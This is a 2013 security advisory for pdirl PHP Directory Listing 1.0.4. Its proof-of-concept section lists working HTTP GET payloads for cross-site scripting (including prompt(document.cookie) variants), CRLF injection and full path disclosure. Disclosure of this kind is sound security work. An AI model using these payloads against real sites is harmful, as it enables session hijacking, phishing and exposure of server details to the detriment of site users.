pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities Nov 01 2013 06:23PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the
directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and
I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)

(Copy of the Vendor Homepage: http://pdirl.newroots.de/ )

Abstract Advisory Information:
An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing v1.0.4 web-application.

Vulnerability Disclosure Timeline:
2013-11-01: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Greg Johnson
Product: pdirl PHP Listing - Web Application 1.0.4

Exploitation Technique:

Severity Level:

Technical Details & Description:
Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing web-application.
The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests (client-side).

The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path value.
Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to compromise
client-side web application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side
phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module context.

Vulnerable Module(s):
[+] .pdirl

Vulnerable File(s):
[+] index.php

Vulnerable Path:
[+] ../icons/
[+] ../icons/default
[+] ../template/
[+] ../template/default
[+] ../.pdirl/templates

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web application user
account but with low user interaction. For demonstration or to reproduce ...

PoC: CS Cross Site Scripting

GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad=
"> HTTP/1.1
GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cooki
e)</ScRiPt> HTTP/1.1
GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(
7331)%20bad%3d%22 HTTP/1.1

PoC: CRLF injection/HTTP Response Splitting
GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name

PoC: Full Path Disclosure Links
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&sortkey=name&
sortorder=SORT_DESC HTTP/1.1
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&gosearch=Sear
ch... HTTP/1.1
GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
GET /[PATH]/index.php?directory=./?directory=./&search=..%c0%af HTTP/1.1

Security Risk:
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.

The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).

The security risk of the full path disclosure issue is estimated as low.

Credits & Authors:
lincoln.dll (linc0ln.dll (at) hotmail (dot) com [email concealed]) [www.hackinq.pl]

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